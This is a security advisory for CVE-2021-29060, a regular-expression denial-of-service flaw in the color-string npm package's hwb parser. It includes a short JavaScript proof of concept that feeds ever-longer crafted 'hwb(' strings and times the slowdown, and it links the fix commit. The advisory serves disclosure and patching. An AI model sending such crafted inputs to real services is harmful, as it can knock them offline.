CVE-2021-29060

Package

color-string

Overview

color-string is a Parser and generator for CSS color strings

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) via the `hwb` regular expression in the `cs.get.hwb` function in index.js. The affected regular expression exhibits quadratic worst-case time complexity.

Proof of Concept

```
var colorString = require("color-string")
function build_blank(n) {
 var ret = "hwb("
 for (var i = 0; i < n; i++) {
  ret += "1"
 }
 return ret + "!";
}

// colorString.get('hwb(60, 3%, 60%)')
for(var i = 1; i <= 5000000; i++) {
   if (i % 1000 == 0) {
        var time = Date.now();
        var attack_str = build_blank(i)
        colorString.get(attack_str)
        var time_cost = Date.now() - time;
        console.log("attack_str.length: " + attack_str.length + ": " + time_cost+" ms")
 }
}
```

GitHub Commit

https://github.com/Qix-/color-string/commit/0789e21284c33d89ebc4ab4ca6f759b9375ac9d3